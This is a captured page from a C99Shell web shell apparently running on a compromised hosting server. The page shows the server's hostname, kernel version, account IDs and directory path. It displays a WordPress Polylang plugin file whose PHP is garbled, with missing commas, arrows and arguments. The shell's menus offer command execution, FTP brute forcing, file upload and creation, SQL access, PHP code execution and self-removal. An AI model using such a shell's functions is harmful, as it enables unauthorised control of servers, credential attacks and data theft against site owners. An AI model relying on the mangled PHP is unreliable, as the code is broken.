!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/polylang/settings/   drwxr-xr-x
Free 180.54 GB of 490.84 GB (36.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     settings-module.php (6.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * base class for all settings
 *
 * @since 1.8
 */
class PLL_Settings_Module {
    public 
$active_option$configure;
    public 
$module$title$description;
    public 
$options;
    protected 
$action_links$buttons;

    
/**
     * constructor
     *
     * @since 1.8
     *
     * @param object $polylang polylang object
     * @param array $args
     */
    
public function __construct( &$polylang$args ) {
        
$this->options = &$polylang->options;
        
$this->model = &$polylang->model;
        
$this->links_model = &$polylang->links_model;

        
$args wp_parse_args$args, array(
            
'title' => '',
            
'description' => '',
            
'active_option' => false,
        ) );

        foreach ( 
$args as $prop => $value ) {
            
$this->$prop $value;
        }

        
// all possible action links, even if not always a link ;- )
        
$this->action_links = array(
            
'configure' => sprintf(
                
'<a title="%s" href="%s">%s</a>',
                
esc_attr__'Configure this module''polylang' ),
                
'#',
                
esc_html__'Settings''polylang' )
            ),

            
'deactivate' => sprintf(
                
'<a title="%s" href="%s">%s</a>',
                
esc_attr__'Deactivate this module''polylang' ),
                
wp_nonce_url'?page=mlang&amp;tab=modules&amp;pll_action=deactivate&amp;noheader=true&amp;module=' $this->module'pll_deactivate' ),
                
esc_html__'Deactivate''polylang' )
            ),

            
'activate' => sprintf(
                
'<a title="%s" href="%s">%s</a>',
                
esc_attr__'Activate this module''polylang' ),
                
wp_nonce_url'?page=mlang&amp;tab=modules&amp;pll_action=activate&amp;noheader=true&amp;module=' $this->module'pll_activate' ),
                
esc_html__'Activate''polylang' )
            ),

            
'activated' => esc_html__'Activated''polylang' ),

            
'deactivated' => esc_html__'Deactivated''polylang' ),
        );

        
$this->buttons = array(
            
'cancel' => sprintf'<button type="button" class="button button-secondary cancel">%s</button>'esc_html__'Cancel' ) ),
            
'save'   => sprintf'<button type="button" class="button button-primary save">%s</button>'esc_html__'Save Changes' ) ),
        );

        
// ajax action to save options
        
add_action'wp_ajax_pll_save_options', array( $this'save_options' ) );
    }

    
/**
     * tells if the module is active
     *
     * @since 1.8
     *
     * @return bool
     */
    
public function is_active() {
        return empty( 
$this->active_option ) || ! empty( $this->options$this->active_option ] );
    }

    
/**
     * activates the module
     *
     * @since 1.8
     */
    
public function activate() {
        if ( ! empty( 
$this->active_option ) ) {
            
$this->options$this->active_option ] = true;
            
update_option'polylang'$this->options );
        }
    }

    
/**
     * deactivates the module
     *
     * @since 1.8
     */
    
public function deactivate() {
        if ( ! empty( 
$this->active_option ) ) {
            
$this->options$this->active_option ] = false;
            
update_option'polylang'$this->options );
        }
    }

    
/**
     * protected method to display a configuration form
     *
     * @since 1.8
     *
     */
    
protected function form() {
        
// child classes can provide a form
    
}

    
/**
     * public method returning the form if any
     *
     * @since 1.8
     *
     * @return string
     */
    
public function get_form() {
        static 
$form false;

        
// read the form only once
        
if ( false === $form ) {
            
ob_start();
            
$this->form();
            
$form ob_get_clean();
        }

        return 
$form;
    }

    
/**
     * allows child classes to validate their options before saving
     *
     * @since 1.8
     *
     * @param array $options raw options
     * @param array options
     */
    
protected function update$options ) {
        return array(); 
// it's responsibility of the child class to decide what is saved
    
}

    
/**
     * ajax method to save the options
     *
     * @since 1.8
     */
    
public function save_options() {
        
check_ajax_referer'pll_options''_pll_nonce' );
        if ( ! 
current_user_can'manage_options' ) ) {
            
wp_die( -);
        }

        if ( 
$this->module == $_POST['module'] ) {
            
// it's up to the child class to decide which options are saved, whether there are errors or not
            
$post array_diff_key$_POSTarray_flip( array( 'action''module''pll_ajax_backend''_pll_nonce' ) ) );
            
$options $this->update$post );
            
$this->options array_merge$this->options$options );
            
update_option'polylang'$this->options );

            
// refresh language cache in case home urls have been modified
            
$this->model->clean_languages_cache();

            
// refresh rewrite rules in case rewrite,  hide_default, post types or taxonomies options have been modified
            // don't use flush_rewrite_rules as we don't have the right links model and permastruct
            
delete_option'rewrite_rules' );

            
ob_start();

            if ( ! 
get_settings_errors() ) {
                
// send update message
                
add_settings_error'general''settings_updated'__'Settings saved.' ), 'updated' );
                
settings_errors();
                
$x = new WP_Ajax_Response( array( 'what' => 'success''data' => ob_get_clean() ) );
                
$x->send();
            } else {
                
// send error messages
                
settings_errors();
                
$x = new WP_Ajax_Response( array( 'what' => 'error''data' => ob_get_clean() ) );
                
$x->send();
            }
        }
    }

    
/**
     * get the row actions
     *
     * @since 1.8
     *
     * @return array
     */
    
protected function get_actions() {
        if ( 
$this->is_active() && $this->get_form() ) {
            
$actions[] = 'configure';
        }

        if ( 
$this->active_option ) {
            
$actions[] = $this->is_active() ? 'deactivate' 'activate';
        }

        if ( empty( 
$actions ) ) {
            
$actions[] = $this->is_active() ? 'activated' 'deactivated';
        }

        return 
$actions;
    }

    
/**
     * get the actions links
     *
     * @since 1.8
     *
     * @return array
     */
    
public function get_action_links() {
        return 
array_intersect_key$this->action_linksarray_flip$this->get_actions() ) );
    }

    
/**
     * default upgrade message ( to pro version )
     *
     * @since 1.9
     *
     * @return string
     */
    
protected function default_upgrade_message() {
        return 
sprintf(
            
'%s <a href="%s">%s</a>',
            
__'You need Polylang Pro to enable this feature.''polylang' ),
            
'https://polylang.pro',
            
__'Upgrade now.''polylang' )
        );
    }

    
/**
     * allows child classes to display an upgrade message
     *
     * @since 1.9
     *
     * @return string
     */
    
public function get_upgrade_message() {
        return 
'';
    }

    
/**
     * get the buttons
     *
     * @since 1.9
     *
     * @return array
     */
    
public function get_buttons() {
        return 
$this->buttons;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0068 ]--